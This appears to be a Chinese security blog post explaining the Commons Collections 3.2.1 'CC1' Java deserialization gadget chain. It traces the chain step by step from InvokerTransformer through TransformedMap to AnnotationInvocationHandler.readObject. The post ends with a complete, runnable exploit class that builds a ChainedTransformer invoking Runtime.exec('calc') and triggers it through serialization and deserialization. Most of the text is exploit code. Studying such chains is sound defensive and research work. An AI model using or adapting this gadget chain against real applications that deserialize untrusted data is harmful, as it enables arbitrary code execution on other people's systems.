javaCC链1
cc1链
jdk:jdk1.8.0_65
commons-collections 3.2.1
cc1链起点是commons-collections包的Transformer接口,这个接口的transform方法接收一个对象作为参数
package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
所以我们需要找到实现这个接口,并重写tarnsform方法的类,看其重写内容是否可以利用(IDEA找到类ctrl+h)
看到InvokerTransformer类的构造方法和transform方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
可以看到transform使用反射机制调用方法
input这个对象可控,在构造方法可以控制方法名和参数值以及参数类型
用如下方式就可以利用InvokerTransformer的transform中的反射执行系统命令calc
Runtime r = Runtime.getRuntime(); InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"}); //it.transform(r); //这里需要找到调用transform方法的,然后transform参数还不知道可不可控
继续找调用了transform方法的类,在TransformedMap类中有一个chekSetValue方法
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); } //构造方法 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
protected构造方法只能通过类内部调用,无法在外部调用,需要找到一个内部方法调用构造方法,看到decorate方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
利用
Runtime r = Runtime.getRuntime(); InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"}); HashMap<object,object> map= new HashMap<>(); Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);
现在需要找到一个类去调用checkSetValue方法,看到AbstractInputCheckedMapDecorator类有一个MapEntry内部类继承了AbstractMapEntryDecorator类,MapEntry这个内部类里面有一个setValue方法
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }
看到AbstractMapEntryDecorator类构造方法,没什么需要注意
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue { protected final Map.Entry entry; public AbstractMapEntryDecorator(Map.Entry entry) { if (entry == null) { throw new IllegalArgumentException("Map Entry must not be null"); } else { this.entry = entry; } }
Map.Entry是一个接口,entry其实是一个键值对
所以可以通过设置键值对,遍历键值对,使用entry来调用setValue方法。下面代码的entry是遍历transformMap(这是TransformedMap类的一个对象)的键值对,而TransformedMap类本身没有setValue方法,又继承了AbstractInputCheckedMapDecorator类,所以entry,setValue调用的是父类AbstractInputCheckedMapDecorator的setValue
Runtime r = Runtime.getRuntime(); InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"}); HashMap<object,object> map= new HashMap<>(); map.put("a","a");//设置键值对 Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer); for(Map.Entry entry:transformMap.entrySet()) { //遍历键值对 entry.setValue(r);//调用setValue }
但反序列化链我们需要找到重写的readObject,如果这个重写的readObject刚好调用了setValue就很好了。总之就是根据调用关系一层层向上扒,直到找到一个readObject
看到一个AnnotationInvocationHandler类重写了一个readObject方法调用了setValue。看构造方法和它的readObject
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
构造方法是默认类型-缺省,只可以在类中和同一包中调用,所以需要使用反射
利用:
public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); map.put("key","qs"); Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer); Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object annotationInvocationHandler = constructor.newInstance(Override.class,transformedMap); serialize(annotationInvocationHandler); //Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method' } public static void serialize(Object object) throws Exception{ ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object")); o.writeObject(object); } public static void unserialize(String file) throws Exception{ ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); }
执行不了calc命令原因:
1.AnnotationInvocationHandler类中的readObject的setValue的传入对象我们不可控,也就是没有传入我们的getRuntime对象
2.AnnotationInvocationHandler类中的readObject的第一个if没有成功进去
3.Runtime对象即使传进去了,也不能序列化,因为它没有实现Serializebale接口
最终的利用:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value","qs"); Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap); serialize(annotationInvocationHandler); unserialize("Object");
看到ChainedTransformer,它构造方法会传入一个数组,然后调用数组里面的所有transform
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } /** * Transforms the input to result via each decorated transformer * * @param object the input object passed to the first transformer * @return the transformed result */ public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
然后看到ConstantTransformer的transform和构造方法,他会返回传入的对象,可以用来传入Runtime对象
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } /** * Transforms the input by ignoring it and returning the stored constant instead. * * @param input the input object which is ignored * @return the stored constant */ public Object transform(Object input) { return iConstant; }
触发流程:反序列化触发AnnotationInvocationHandler的readObject,然后readObject调用 AbstractInputCheckedMapDecorator的setValue,此时的setValue调用checkSetValue。
此时的parent是一个TransformedMap,调用TransformedMap的checkSetValue。
可以看到此时的valueTransformer是ChainedTransformer,调用ChainedTransformer的transform,ChainedTransformer的transform会循环调用利用代码中数组里面的对应的类的transform。
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class),//这里调用它的transform会返回Runtime对象 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//这里的三个InvokerTransformer的transform的调用通过反射执行了exec("calc") };
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; // Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`, // then press Enter. You can now see whitespace characters in your code. public class Main { public static void main(String[] args) throws Exception{ // Class c = Runtime.class; // java.lang.reflect.Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c); // Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); // InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); // invokerTransformer.transform(r); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value","qs"); Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap); serialize(annotationInvocationHandler); unserialize("Object"); //Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method' } public static void serialize(Object object) throws Exception{ ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object")); o.writeObject(object); } public static void unserialize(String file) throws Exception{ ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); } }
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)